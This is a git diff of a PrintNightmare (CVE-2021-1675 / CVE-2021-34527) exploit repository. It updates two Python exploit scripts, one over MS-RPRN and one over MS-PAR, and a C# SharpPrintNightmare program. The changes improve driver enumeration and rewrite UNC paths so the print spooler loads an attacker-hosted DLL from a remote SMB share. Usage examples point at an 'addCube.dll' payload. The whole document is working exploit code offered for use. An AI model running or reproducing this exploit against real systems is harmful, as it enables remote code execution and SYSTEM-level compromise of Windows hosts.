diff --git a/CVE-2021-1675.py b/CVE-2021-1675.py index fda7a8b..3e876bd 100644 --- a/CVE-2021-1675.py +++ b/CVE-2021-1675.py @@ -20,15 +20,25 @@ class DRIVER_INFO_2_BLOB(Structure): def __init__(self, data = None): Structure.__init__(self, data = data) - - def fromString(self,data): + + def fromString(self, data, offset=0): Structure.fromString(self, data) - self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']:self['DataFileOffset']].decode('utf-16-le') - self['DataFileArray'] = self.rawData[self['DataFileOffset']:self['DriverPathOffset']].decode('utf-16-le') - self['DriverPathArray'] = self.rawData[self['DriverPathOffset']:self['EnvironmentOffset']].decode('utf-16-le') - self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']:self['NameOffset']].decode('utf-16-le') - self['NameArray'] = self.rawData[self['NameOffset']:len(self.rawData)].decode('utf-16-le') - + self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']+offset:self['DataFileOffset']+offset].decode('utf-16-le') + self['DataFileArray'] = self.rawData[self['DataFileOffset']+offset:self['DriverPathOffset']+offset].decode('utf-16-le') + self['DriverPathArray'] = self.rawData[self['DriverPathOffset']+offset:self['EnvironmentOffset']+offset].decode('utf-16-le') + self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']+offset:self['NameOffset']+offset].decode('utf-16-le') + #self['NameArray'] = self.rawData[self['NameOffset']+offset:len(self.rawData)].decode('utf-16-le') + +class DRIVER_INFO_2_ARRAY(Structure): + def __init__(self, data = None, pcReturned = None): + Structure.__init__(self, data = data) + self['drivers'] = list() + remaining = data + if data is not None: + for i in range(pcReturned): + attr = DRIVER_INFO_2_BLOB(remaining) + self['drivers'].append(attr) + remaining = remaining[len(attr):] def connect(username, password, domain, lmhash, nthash, address, port): binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address) @@ -53,17 +63,16 @@ def connect(username, password, domain, lmhash, nthash, address, port): return dce -def getDrivers(dce, handle=NULL): +def getDriver(dce, handle=NULL): #get drivers resp = rprn.hRpcEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2) - data = b''.join(resp['pDrivers']) - - #parse drivers - blob = DRIVER_INFO_2_BLOB() - blob.fromString(data) - #blob.dump() + blobs = DRIVER_INFO_2_ARRAY(b''.join(resp['pDrivers']), resp['pcReturned']) + for i in blobs['drivers']: + if "filerepository" in i['DriverPathArray'].lower(): + return i - return blob + print("[-] Failed to find driver") + sys.exit(1) def main(dce, pDriverPath, share, handle=NULL): @@ -99,7 +108,7 @@ def main(dce, pDriverPath, share, handle=NULL): if __name__ == '__main__': - parser = argparse.ArgumentParser(add_help = True, description = "CVE-2021-1675 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog=""" + parser = argparse.ArgumentParser(add_help = True, description = "MS-RPRN PrintNightmare CVE-2021-1675 / CVE-2021-34527 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog=""" Example; ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' @@ -155,7 +164,7 @@ Example; #find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path if not options.pDriverPath: try: - blob = getDrivers(dce, handle) + blob = getDriver(dce, handle) pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL' if not "FileRepository" in pDriverPath: print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath)) @@ -168,6 +177,9 @@ Example; else: pDriverPath = options.pDriverPath + if "\\\\" in options.share: + options.share = options.share.replace("\\\\","\\??\\UNC\\") + print("[+] pDriverPath Found {0}".format(pDriverPath)) print("[*] Executing {0}".format(options.share)) @@ -175,6 +187,6 @@ Example; print("[*] Try 1...") main(dce, pDriverPath, options.share) print("[*] Try 2...") - main(dce, pDriverPath,options.share) + main(dce, pDriverPath, options.share) print("[*] Try 3...") - main(dce, pDriverPath,options.share) + main(dce, pDriverPath, options.share) diff --git a/SharpPrintNightmare/CVE-2021-1675.py b/SharpPrintNightmare/CVE-2021-1675.py index 469c574..40d0232 100644 --- a/SharpPrintNightmare/CVE-2021-1675.py +++ b/SharpPrintNightmare/CVE-2021-1675.py @@ -20,14 +20,25 @@ class DRIVER_INFO_2_BLOB(Structure): def __init__(self, data = None): Structure.__init__(self, data = data) - - def fromString(self,data): + + def fromString(self, data, offset=0): Structure.fromString(self, data) - self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']:self['DataFileOffset']].decode('utf-16-le') - self['DataFileArray'] = self.rawData[self['DataFileOffset']:self['DriverPathOffset']].decode('utf-16-le') - self['DriverPathArray'] = self.rawData[self['DriverPathOffset']:self['EnvironmentOffset']].decode('utf-16-le') - self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']:self['NameOffset']].decode('utf-16-le') - self['NameArray'] = self.rawData[self['NameOffset']:len(self.rawData)].decode('utf-16-le') + self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']+offset:self['DataFileOffset']+offset].decode('utf-16-le') + self['DataFileArray'] = self.rawData[self['DataFileOffset']+offset:self['DriverPathOffset']+offset].decode('utf-16-le') + self['DriverPathArray'] = self.rawData[self['DriverPathOffset']+offset:self['EnvironmentOffset']+offset].decode('utf-16-le') + self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']+offset:self['NameOffset']+offset].decode('utf-16-le') + #self['NameArray'] = self.rawData[self['NameOffset']+offset:len(self.rawData)].decode('utf-16-le') + +class DRIVER_INFO_2_ARRAY(Structure): + def __init__(self, data = None, pcReturned = None): + Structure.__init__(self, data = data) + self['drivers'] = list() + remaining = data + if data is not None: + for i in range(pcReturned): + attr = DRIVER_INFO_2_BLOB(remaining) + self['drivers'].append(attr) + remaining = remaining[len(attr):] def connect(username, password, domain, lmhash, nthash, address, port): stringbinding = epm.hept_map(address, par.MSRPC_UUID_PAR, protocol='ncacn_ip_tcp') @@ -41,17 +52,16 @@ def connect(username, password, domain, lmhash, nthash, address, port): dce.bind(par.MSRPC_UUID_PAR, transfer_syntax = ('8A885D04-1CEB-11C9-9FE8-08002B104860', '2.0')) return dce -def getDrivers(dce, handle=NULL): +def getDriver(dce, handle=NULL): #get drivers resp = par.hRpcAsyncEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2) - data = b''.join(resp['pDrivers']) - - #parse drivers - blob = DRIVER_INFO_2_BLOB() - blob.fromString(data) - #blob.dump() + blobs = DRIVER_INFO_2_ARRAY(b''.join(resp['pDrivers']), resp['pcReturned']) + for i in blobs['drivers']: + if "filerepository" in i['DriverPathArray'].lower(): + return i - return blob + print("[-] Failed to find driver") + sys.exit(1) def main(dce, pDriverPath, share, handle=NULL): @@ -87,7 +97,7 @@ def main(dce, pDriverPath, share, handle=NULL): if __name__ == '__main__': - parser = argparse.ArgumentParser(add_help = True, description = "PrintNightmare CVE-2021-1675 / CVE-2021-34527 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog=""" + parser = argparse.ArgumentParser(add_help = True, description = "MS-PAR PrintNightmare CVE-2021-1675 / CVE-2021-34527 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog=""" Example; ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' @@ -143,7 +153,7 @@ Example; #find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path if not options.pDriverPath: try: - blob = getDrivers(dce, handle) + blob = getDriver(dce, handle) pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL' if not "FileRepository" in pDriverPath: print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath)) @@ -156,6 +166,9 @@ Example; else: pDriverPath = options.pDriverPath + if "\\\\" in options.share: + options.share = options.share.replace("\\\\","\\??\\UNC\\") + print("[+] pDriverPath Found {0}".format(pDriverPath)) print("[*] Executing {0}".format(options.share)) @@ -163,6 +176,6 @@ Example; print("[*] Try 1...") main(dce, pDriverPath, options.share) print("[*] Try 2...") - main(dce, pDriverPath,options.share) + main(dce, pDriverPath, options.share) print("[*] Try 3...") - main(dce, pDriverPath,options.share) \ No newline at end of file + main(dce, pDriverPath, options.share) \ No newline at end of file diff --git a/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo b/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo index 483c68f..aa552ae 100644 Binary files a/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo and b/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo differ diff --git a/SharpPrintNightmare/SharpPrintNightmare/Program.cs b/SharpPrintNightmare/SharpPrintNightmare/Program.cs index a9e4236..2a7b7c9 100644 --- a/SharpPrintNightmare/SharpPrintNightmare/Program.cs +++ b/SharpPrintNightmare/SharpPrintNightmare/Program.cs @@ -68,6 +68,10 @@ namespace SharpPrintNightmare Environment.Exit(0); } dllpath = args[0]; + if (dllpath.Contains("\\\\")) + { + dllpath = dllpath.Replace("\\\\", "\\??\\UNC\\"); + } if (args.Length > 2) {